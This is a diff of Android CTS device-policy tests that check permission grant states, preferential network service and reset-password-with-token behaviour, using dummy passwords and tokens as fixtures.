+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void grantPermission_setsGrantState() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), GRANTABLE_PERMISSION);
+
+        try {
+            boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                    .setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("setPermissionGrantState did not return true")
+                    .that(wasSet).isTrue();
+            assertWithMessage("Permission grant state should be set to granted but was not")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION))
+                    .isEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    GRANTABLE_PERMISSION, existingGrantState);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SetPermissionGrantState.class)
+    public void denyPermission_permissionIsDenied() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : DENYABLE_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                sTestApp.pkg().grantPermission(TestApis.users().instrumented(), permission);
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_DENIED);
+
+                assertWithMessage("Permission should not be granted but was").that(
+                        sTestApp.pkg().hasPermission(permission)).isFalse();
+
+                // TODO(b/204041462): Test that the app cannot request the permission
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+                sTestApp.pkg().denyPermission(TestApis.users().instrumented(), permission);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SetPermissionGrantState.class)
+    public void grantPermission_permissionIsGranted() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), GRANTABLE_PERMISSION);
+        try {
+            sTestApp.pkg().denyPermission(TestApis.users().instrumented(),
+                    GRANTABLE_PERMISSION);
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("Permission should be granted but was not").that(
+                    sTestApp.pkg().hasPermission(GRANTABLE_PERMISSION)).isTrue();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    GRANTABLE_PERMISSION, existingGrantState);
+            sTestApp.pkg().denyPermission(TestApis.users().instrumented(),
+                    GRANTABLE_PERMISSION);
+        }
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetPermissionGrantState.class)
+    public void denyPermission_doesNotApply_permissionIsNotDenied() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : DENYABLE_PERMISSIONS) {
+            try {
+                sTestApp.pkg().grantPermission(TestApis.users().instrumented(), permission);
+
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_DENIED);
+
+                assertWithMessage("Permission should not be denied but was").that(
+                        sTestApp.pkg().hasPermission(permission)).isTrue();
+            } finally {
+                sTestApp.pkg().denyPermission(TestApis.users().instrumented(), permission);
+            }
+        }
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetPermissionGrantState.class)
+    public void grantPermission_doesNotApply_permissionIsNotGranted() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : DENYABLE_PERMISSIONS) {
+            try {
+                sTestApp.pkg().denyPermission(TestApis.users().instrumented(), permission);
+
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertWithMessage("Permission should not be granted but was").that(
+                        sTestApp.pkg().hasPermission(permission)).isFalse();
+            } finally {
+                sTestApp.pkg().denyPermission(TestApis.users().instrumented(), permission);
+            }
+        }
+    }
+
+    // TODO(b/204041462): Add test that the user can manually grant sensor permissions
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void grantDevelopmentPermission_cannotGrant() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), DEVELOPMENT_PERMISSION);
+        try {
+            boolean wasSet =
+                    sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("setPermissionGrantState did not return false")
+                    .that(wasSet).isFalse();
+            assertWithMessage("Permission grant state should not be set to granted but was")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            DEVELOPMENT_PERMISSION))
+                    .isNotEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+            assertWithMessage("Permission should not be granted but was")
+                    .that(sTestApp.pkg().hasPermission(
+                    DEVELOPMENT_PERMISSION)).isFalse();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    DEVELOPMENT_PERMISSION, existingGrantState);
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void denyDevelopmentPermission_cannotDeny() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), DEVELOPMENT_PERMISSION);
+        try {
+            boolean wasSet =
+                    sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_DENIED);
+
+            assertWithMessage("setPermissionGrantState did not return false")
+                    .that(wasSet).isFalse();
+            assertWithMessage("Permission grant state should not be set to granted but was")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            DEVELOPMENT_PERMISSION))
+                    .isNotEqualTo(PERMISSION_GRANT_STATE_DENIED);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    DEVELOPMENT_PERMISSION, existingGrantState);
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void setDevelopmentPermissionToDefault_cannotSet() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), DEVELOPMENT_PERMISSION);
+        try {
+            boolean wasSet =
+                    sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
+
+            assertWithMessage("setPermissionGrantState did not return false")
+                    .that(wasSet).isFalse();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    DEVELOPMENT_PERMISSION, existingGrantState);
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetSmsPermissionGranted.class)
+    public void grantSmsPermission_setsGrantState() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), READ_SMS);
+        try {
+            boolean wasSet =
+                    sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            READ_SMS, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("setPermissionGrantState did not return true")
+                    .that(wasSet).isTrue();
+            assertWithMessage("Permission grant state should be set to granted but was not")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            READ_SMS))
+                    .isEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, existingGrantState);
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetSensorPermissionGranted.class)
+    @Ignore("TODO(198280344): Re-enable when we can set sensor permissions using device owner")
+    public void grantSensorPermission_setsGrantState() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : SENSOR_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                boolean wasSet =
+                        sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertWithMessage("setPermissionGrantState did not return true")
+                        .that(wasSet).isTrue();
+                assertWithMessage("Permission grant state should be set to granted but was not")
+                        .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission))
+                        .isEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SetSmsPermissionGranted.class)
+    public void grantSmsPermission_permissionIsGranted() {
+        // TODO(b/188893663): Replace with parameterization
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), READ_SMS);
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("Permission should be granted but was not").that(
+                    sTestApp.pkg().hasPermission(READ_SMS)).isTrue();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, existingGrantState);
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SetSensorPermissionGranted.class)
+    @Ignore("TODO(198280344): Re-enable when we can set sensor permissions using device owner")
+    public void grantSensorPermission_permissionIsGranted() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : SENSOR_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertWithMessage("Permission should be granted but was not").that(
+                        sTestApp.pkg().hasPermission(permission)).isTrue();
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetSmsPermissionGranted.class)
+    public void grantSmsPermission_doesNotApplyToUser_permissionIsNotGranted() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), READ_SMS);
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("Permission should not be granted but was").that(
+                    sTestApp.pkg().hasPermission(READ_SMS)).isFalse();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, existingGrantState);
+        }
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetSensorPermissionGranted.class)
+    @Ignore("TODO(198280344): Re-enable when we can set sensor permissions using device owner")
+    public void grantSensorPermission_doesNotApplyToUser_permissionIsNotGranted() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : SENSOR_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertWithMessage("Permission should not be granted but was").that(
+                        sTestApp.pkg().hasPermission(permission)).isFalse();
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeNonDeviceAdminStates = false)
+    public void grantSmsPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), READ_SMS);
+        try {
+            boolean wasSet =
+                    sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            READ_SMS, PERMISSION_GRANT_STATE_GRANTED);
+
+            assertWithMessage("setPermissionGrantState did not return true")
+                    .that(wasSet).isTrue();
+            assertWithMessage("Permission grant state should not be set to granted but was")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            READ_SMS))
+                    .isNotEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, existingGrantState);
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = SetSmsPermissionGranted.class, includeDeviceAdminStates = false)
+    public void grantSmsPermission_nonDeviceAdmin_throwsException() {
+        assertThrows(SecurityException.class,
+                () -> sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        READ_SMS, PERMISSION_GRANT_STATE_GRANTED));
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = SetSensorPermissionGranted.class)
+    public void grantSensorPermission_cannotBeApplied_returnsTrueButDoesNotSetGrantState() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : SENSOR_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                boolean wasSet =
+                        sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertWithMessage("setPermissionGrantState did not return true")
+                        .that(wasSet).isTrue();
+                assertWithMessage("Permission grant state should not be set to granted but was")
+                        .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission))
+                        .isNotEqualTo(PERMISSION_GRANT_STATE_GRANTED);
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SetSensorPermissionGranted.class)
+    @NotificationsTest
+    @Ignore("TODO(198280344): Re-enable when we can set sensor permissions using device owner")
+    public void grantLocationPermission_userNotified() throws Exception {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : LOCATION_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    permission, PERMISSION_GRANT_STATE_DEFAULT);
+            try (NotificationListener notifications = TestApis.notifications().createListener()) {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                assertThat(notifications.query()
+                        .wherePackageName().isEqualTo(PERMISSION_CONTROLLER_PACKAGE_NAME)
+                        .whereNotification().channelId().isEqualTo(
+                                AUTO_GRANTED_PERMISSIONS_CHANNEL_ID)
+                ).wasPosted();
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void setPermissionGrantState_permissionIsNotDeclared_doesNotSetGrantState() {
+        boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                .setPermissionGrantState(sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        NOT_DECLARED_PERMISSION, PERMISSION_GRANT_STATE_DENIED);
+
+        assertWithMessage("setPermissionGrantState did not return false")
+                .that(wasSet).isFalse();
+        assertWithMessage("Permission grant state should not be changed but was")
+                .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        NOT_DECLARED_PERMISSION))
+                .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void setPermissionGrantState_appIsNotInstalled_doesNotSetGrantState() {
+        boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                .setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), NON_EXISTING_PACKAGE_NAME,
+                        GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_DENIED);
+
+        assertWithMessage("setPermissionGrantState did not return false")
+                .that(wasSet).isFalse();
+        assertWithMessage("Permission grant state should not be changed but was")
+                .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                        sDeviceState.dpc().componentName(), NON_EXISTING_PACKAGE_NAME,
+                        NOT_DECLARED_PERMISSION))
+                .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void setPermissionGrantStateDefault_wasPreviouslyGranted_permissionStaysGranted() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), GRANTABLE_PERMISSION);
+
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_GRANTED);
+            boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                    .setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
+
+            assertWithMessage("setPermissionGrantState did not return true")
+                    .that(wasSet).isTrue();
+            assertWithMessage("Permission grant state should be set to default but was not")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION))
+                    .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+            assertWithMessage("Permission should be granted but was not").that(
+                    sTestApp.pkg().hasPermission(GRANTABLE_PERMISSION)).isTrue();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    GRANTABLE_PERMISSION, existingGrantState);
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void setPermissionGrantStateDefault_wasPreviouslyDenied_permissionStaysDenied() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), GRANTABLE_PERMISSION);
+
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_DENIED);
+            boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                    .setPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
+
+            assertWithMessage("setPermissionGrantState did not return true")
+                    .that(wasSet).isTrue();
+            assertWithMessage("Permission grant state should be set to default but was not")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            GRANTABLE_PERMISSION))
+                    .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+            assertWithMessage("Permission should be denied but was not").that(
+                    sTestApp.pkg().hasPermission(GRANTABLE_PERMISSION)).isFalse();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    GRANTABLE_PERMISSION, existingGrantState);
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/PreferentialNetworkServiceTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/PreferentialNetworkServiceTest.java
index 5c935bf..51f672c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/PreferentialNetworkServiceTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/PreferentialNetworkServiceTest.java
@@ -23,7 +23,6 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VCN_MANAGED;
 
-import android.app.Instrumentation;
 import android.content.Context;
 import android.net.ConnectivityManager;
 import android.net.Network;
@@ -35,12 +34,9 @@
 import android.os.Process;
 import android.util.Range;
 
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
-import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.PreferentialNetworkService;
 import com.android.bedstead.nene.TestApis;
@@ -59,7 +55,7 @@
 
 // TODO(b/190797743): Move this test to to net test folder.
 @RunWith(BedsteadJUnit4.class)
-public class PreferentialNetworkServiceTest {
+public final class PreferentialNetworkServiceTest {
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
@@ -67,8 +63,7 @@
     private final long NO_CALLBACK_TIMEOUT_MS = 100L;
     private final String TAG = PreferentialNetworkServiceTest.class.getSimpleName();
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final ConnectivityManager sCm =
             sContext.getSystemService(ConnectivityManager.class);
     private final HandlerThread mHandlerThread = new HandlerThread(TAG + " handler thread");
@@ -97,7 +92,6 @@
      * see the enterprise slice requests.
      */
     @Test
-    @Postsubmit(reason = "New test")
     @EnsureHasPermission({ACCESS_NETWORK_STATE, NETWORK_SETTINGS})
     @PositivePolicyTest(policy = PreferentialNetworkService.class)
     public void setPreferentialNetworkServiceEnabled_enableService_issueRequest() {
@@ -136,7 +130,6 @@
      * see the enterprise slice requests.
      */
     @Test
-    @Postsubmit(reason = "New test")
     @EnsureHasPermission({ACCESS_NETWORK_STATE, NETWORK_SETTINGS})
     @PositivePolicyTest(policy = PreferentialNetworkService.class)
     public void setPreferentialNetworkServiceEnabled_disableService_noIssueRequest() {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
new file mode 100644
index 0000000..4a27ae9
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
@@ -0,0 +1,1126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.Context;
+import android.stats.devicepolicy.EventId;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.ResetPasswordWithToken;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+// TODO(b/191640667): Parameterize the length limit tests with multiple limits
+@RunWith(BedsteadJUnit4.class)
+public final class ResetPasswordWithTokenTest {
+
+    private static final String NOT_COMPLEX_PASSWORD = "1234";
+    private static final String VALID_PASSWORD = NOT_COMPLEX_PASSWORD;
+    private static final String NUMERIC_PASSWORD_LENGTH_3 = "123";
+    private static final String NUMERIC_PASSWORD_REPEATING_LENGTH_4 = "4444";
+    private static final String NUMERIC_PASSWORD_RANDOM_LENGTH_4 = "3829";
+    private static final String NUMERIC_PASSWORD_LENGTH_4 = NOT_COMPLEX_PASSWORD;
+    private static final String NUMERIC_PASSWORD_LENGTH_6 = "264828";
+    private static final String ALPHABETIC_PASSWORD_LENGTH_4 = "abcd";
+    private static final String ALPHABETIC_PASSWORD_ALL_UPPERCASE_LENGTH_4 = "ABCD";
+    private static final String ALPHANUMERIC_PASSWORD_LENGTH_4 = "12ab";
+    private static final String ALPHANUMERIC_PASSWORD_WITH_UPPERCASE_LENGTH_4 = "abC1";
+    private static final String ALPHANUMERIC_PASSWORD_LENGTH_8 = "1a2b3c4e";
+    private static final String COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4 = "12a_";
+    private static final String COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7 = "abc123.";
+
+    private static final byte[] TOKEN = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
+    private static final byte[] BAD_TOKEN = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
+
